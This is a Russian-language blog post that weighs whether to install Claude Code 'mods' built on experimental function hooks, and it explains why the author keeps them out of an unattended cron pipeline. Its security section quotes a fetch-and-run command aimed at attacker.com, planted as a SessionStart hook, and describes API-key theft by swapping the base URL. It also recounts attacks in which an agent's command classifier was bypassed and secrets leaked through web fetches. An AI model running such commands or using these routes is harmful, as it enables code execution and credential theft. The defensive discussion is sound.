Моды для Claude Code: экосистема плагинов уже тут - стоит ли ставить что-то кроме skills
Моды Claude Code - экспериментальные плагины на function hooks (флаг CLAUDE_CODE_ENABLE_FUNCTION_HOOKS=1), в отличие от skills и обычных plugins они перехватывают рантайм и интерфейс. Ставить их стоит для узких UI-задач в интерактивной сессии; в headless-автоматику без присмотра - рано, в системе hooks уже находили CVE с CVSS 8.7 и 5.3.
Моды Claude Code на function hooks - что это, чем отличаются от skills и plugins, какие уже вышли и почему я не ставлю их в headless-пайплайн на cron.

Моды для Claude Code: экосистема плагинов уже тут - стоит ли ставить что-то кроме skills
У Claude Code внутри года выросли уже три слоя расширений: skills, обычные plugins из marketplace и теперь моды (mods) на экспериментальных function hooks. Я гоняю свой конвейер статей на голых Claude Code скиллах и cron - и когда увидел в ленте разбор модов, первым делом полез проверять, что из этого можно тащить в автоматику без присмотра, а что убьёт пайплайн одним хуком. Разбираюсь по порядку: что это, чем отличается от skills, что уже выпустили и стоит ли ставить.
Что такое моды (mods) для Claude Code
Моды для Claude Code - это плагины, построенные на новой архитектуре function hooks: TypeScript-функциях, которые оборачивают события движка по принципу миддлваров Express или Koa, а не просто реагируют на разовое событие жизненного цикла. Anthropic предложила function hooks 3 сентября 2026 года, официально анонсировала 9 сентября, а включаются они флагом CLAUDE_CODE_ENABLE_FUNCTION_HOOKS=1 claude - фича экспериментальная и, по словам самих разработчиков, до полноценной доставки оставались недели.
В отличие от обычных plugins, которые Anthropic вывела в публичную бету ещё 9 октября 2025 года и которые ставятся привычной командой /plugin marketplace add и /plugin install, моды получают доступ не только к слэш-командам, сабагентам и MCP-серверам, но и к самому рантайму: могут перехватывать side-effects через параметризованный объект вызова и даже перерисовывать компоненты интерфейса.
Сама механика обычных plugins тем временем уже вполне бытовая: marketplace - это git-репозиторий с файлом .claude-plugin/marketplace.json, который курирует набор плагинов, а подключить чужой marketplace можно одной командой без ручной сборки. Комьюнити уже успело набить туда полки - от связок DevOps-плагинов и шаблонов документации до коллекции из 80+ узкоспециализированных сабагентов на все случаи разработки. На этом фоне моды - не замена, а надстройка сверху: третий слой поверх skills и обычных plugins, который трогает вещи, до которых первые два слоя физически не дотягиваются.
Чем моды отличаются от обычных skills и плагинов
Прямой ответ: skills дают модели знания и чек-листы, MCP - маршрут к внешним системам, обычные hooks - разовую реакцию на событие, а моды - глубокую композицию вокруг рантайма и интерфейса, где несколько обработчиков могут вкладываться друг в друга. Проще говоря: если задачу закрывает skill или MCP-сервер, мод для неё - избыточное усложнение.
Это разница не только техническая, но и по бюджету контекста. Я уже разбирал, как скиллы съедали недельный лимит Claude Code за 4 дня - там решение было в том, чтобы не тащить лишнее в системный промпт. С модами тот же принцип работает в другую сторону: они не столько жрут токены, сколько усложняют цепочку доверия, потому что каждый следующий мод оборачивает предыдущие, и порядок регистрации становится частью модели безопасности, а не деталью конфига.
У Anthropic для этого есть встроенный административный мод (в публичных материалах фигурирует под именем sec-default), который может вставать первым в очереди через список prependPlugins - именно так организация ограничивает, что вообще разрешено делать пользовательским плагинам. Если админ переопределяет порядок, дефолтная защита сдвигается, и это нужно учитывать явно, а не предполагать по умолчанию.
Технически каждый мод получает не голый доступ к Node.js или DOM браузера, а посреднический интерфейс движка - условный объект вызова, через который проходят все side-effects. Это удобно для аудита: можно повесить обработчик на событие "звёздочка" (wildcard) и получить лог всего, что происходит в цепочке. Но отсутствие прямого Node.js API - это не готовое доказательство безопасности само по себе, потому что мод всё равно может дотянуться до сети, файловой системы или содержимого экрана через тот же посреднический интерфейс, если админ явно не срезал ему соответствующие возможности.
Какие моды для Claude Code уже есть и что они умеют
Первые публичные примеры - смесь пользы и игрушек.
Из полезного - мод, который скрывает чувствительные значения в Claude Code Desktop и показывает их только по наведению курсора. Точечная вещь для стримов, демо на созвонах и записи скринкастов, где легко случайно засветить токен или переменную окружения прямо в кадре.
Из игрушечного - комьюнити уже выпустило Mindful Claude: мод крутит анимацию дыхательного упражнения со счётчиком вдохов, пока модель думает над ответом, и сам исчезает, когда ответ приходит (исходники - на github.com/halluton/Mindful-Claude). В том же духе - мод-аркада, который встраивает Tetris и ещё семь мини-игр прямо над строкой ввода: пока агент работает над задачей, можно перекинуться в игру, токены при этом не тратятся.
Забавно, но именно эта пара - дыхательное упражнение и аркада - хорошо показывает, зачем вообще нужны моды: они меняют то, что происходит на экране, пока агент занят, а не то, что агент умеет делать. Это UI-слой, а не новая способность модели.
На вопрос из заголовка темы - что тут реально полезно, а что игрушка - я бы делил так: скрытие чувствительных данных решает конкретную боль (случайно засветить токен в кадре на стриме или демо), а дыхательное упражнение и аркада работают на другое - удержать внимание человека, пока он ждёт ответ модели, и снизить раздражение от простоя. Второе не бесполезно, просто это не про продуктивность, а про то, чтобы не бросить сессию от скуки за те 20-40 секунд, что модель думает над сложной задачей.
Безопасно ли ставить сторонние моды и плагины для Claude Code
Тут прямой ответ короче, чем хотелось бы: осторожно, потому что в системе hooks Claude Code уже находили критические уязвимости - причём в обычных, не экспериментальных хуках, которые давно доступны всем.
CVE-2025-59536 с CVSS 8.7 позволял выполнить произвольный shell-код через SessionStart-хук, который вредоносный репозиторий незаметно дописывал в .claude/settings.json - команда вида curl https://attacker.com/payload.sh | bash срабатывала ещё до того, как пользователь успевал подтвердить доверие к проекту. CVE-2026-21852 с CVSS 5.3 работал иначе: подмена переменной ANTHROPIC_BASE_URL в конфиге проекта заставляла Claude Code слать запросы (вместе с заголовком авторизации) на сервер атакующего вместо настоящего API.
Я уже писал про похожие истории на этом самом стеке: как агент одной командой снёс мне папку проекта и что из этого получилась защита через PreToolUse guard, и как Auto Mode ломали через ZIP-архив, обходя классификатор опасных команд. Отдельно - история про то, как Claude Code с доступом в веб сливал секреты через обычную ссылку: там хватило одного WebFetch без разбора, куда агент вообще ходит. Моды на function hooks - это та же поверхность атаки, только глубже: если обычный hook просто запускает команду, то мод может вклиниться в цепочку обработки и вообще не оставить следа в логах, которые ты привык проверять.
Есть и более приземлённый риск для агентского пайплайна: скомпрометированный мод может тихо гонять лишние вызовы модели в фоне через тот же посреднический интерфейс движка - и незаметно сажать твои claude code лимиты, пока не полезешь разбираться, куда за ночь делся недельный бюджет токенов.
Из этого мой личный критерий: мод можно ставить в интерактивную сессию, где я сижу рядом и вижу, что происходит на экране. В автоматический прогон без присмотра - только если у мода нет доступа ни к чему, кроме отрисовки интерфейса, и есть внятный способ откатить его одной командой.
Стоит ли использовать моды в агентском пайплайне на cron
У меня в конвейере генерации статей права Claude Code описаны десятком строк в .claude/settings.json:
{
"permissions": {
"allow": [
"Bash(node:*)",
"Bash(python3:*)",
"Bash(rm:*)",
"Read",
"Glob",
"Grep",
"WebFetch",
"WebSearch",
"Write(/tmp/**)",
"Write(data/tmp/**)"
]
},
"sandbox": { "enabled": false }
}Ни одного marketplace-плагина, ни одного мода - только встроенные разрешения. И дело не в лени, а в том, что каждый агент здесь работает без человека рядом: за черновик статьи, факт-чек и публикацию отвечают отдельные headless-запуски, и если в цепочку залетит сторонний hook с обфусцированной логикой, разбираться придётся постфактум, читая логи cron, а не прерывая сессию руками.
Список разрешений короткий специально: rm и python3 нужны конвейеру, чтобы чистить временные файлы и гонять сами скрипты пайплайна, WebFetch/WebSearch - чтобы агент фактчекал сам себя по внешним источникам, а Write подрезан до пары временных папок, чтобы черновик не мог случайно переписать что-то за пределами своей песочницы. Ни один пункт тут не тянет за собой сторонний код, который я не читал - и это ровно то свойство, которое моды на текущей стадии дать не могут: пока экосистема экспериментальная, я не могу заранее прочитать, что именно будет делать чужой мод при каждом вызове.
Для кого-то, кто сидит в Claude Code интерактивно весь день, скрытие чувствительных данных на стриме или дыхательный мод, чтобы не пялиться в мигающий курсор - это реально удобно, и я бы сам поставил. Но в cron-обвязку, где агент действует сам по себе, я это не понесу, пока экосистема модов не обзаведётся хотя бы подписанными пакетами и внятным аудитом - как это в своё время начали делать с MCP-серверами.
Когда моды для Claude Code реально нужны, а когда лучше подождать
Если своими словами: моды стоит пробовать, когда узкая задача - именно про интерфейс или композицию вокруг рантайма, и её не закрывают skill, MCP-сервер или обычный hook. Ждать стоит, если задача уже решена одним из старых механизмов, или если мод должен работать без присмотра человека - там риск CVE в hooks перевешивает удобство мигающей анимации.
Официальные plugins из паблик-беты я себе уже присматриваю - в основном ради подсчёта, что реально экономит контекст рядом со скиллами. Стоит ли ради этого допиливать пайплайн прямо сейчас? Не факт. А моды пока оставлю для интерактивных сессий: игрушки - это весело, но не там, где на кону чужой API-ключ.
Частые вопросы
Нужно ли включать флаг CLAUDE_CODE_ENABLE_FUNCTION_HOOKS, чтобы пользоваться обычными плагинами Claude Code
Нет. Обычные plugins (слэш-команды, сабагенты, MCP-серверы, classic hooks) доступны в паблик-бете с 9 октября 2025 года через команду /plugin. Флаг CLAUDE_CODE_ENABLE_FUNCTION_HOOKS=1 нужен только для экспериментальных модов на function hooks.
Чем function hooks в модах отличаются от обычных hooks Claude Code
Classic hooks реагируют на событие жизненного цикла разово. Function hooks работают как middleware: несколько модов оборачивают друг друга по порядку регистрации, могут менять интерфейс и перехватывать side-effects через посреднический объект вызова.
Какие уязвимости уже находили в системе hooks Claude Code
CVE-2025-59536 (CVSS 8.7) позволял выполнить произвольный shell-код через SessionStart-хук до подтверждения доверия к репозиторию. CVE-2026-21852 (CVSS 5.3) уводил API-ключ через подмену переменной ANTHROPIC_BASE_URL в конфиге проекта.
Как готовился материал: черновик собран моим AI-конвейером по темам и заметкам из практики, факты сверены с первоисточниками, финальный текст я прочитал, поправил и утвердил перед публикацией. Обложку к статье тоже рисует нейросеть. Про сам конвейер — в разделе обо мне.
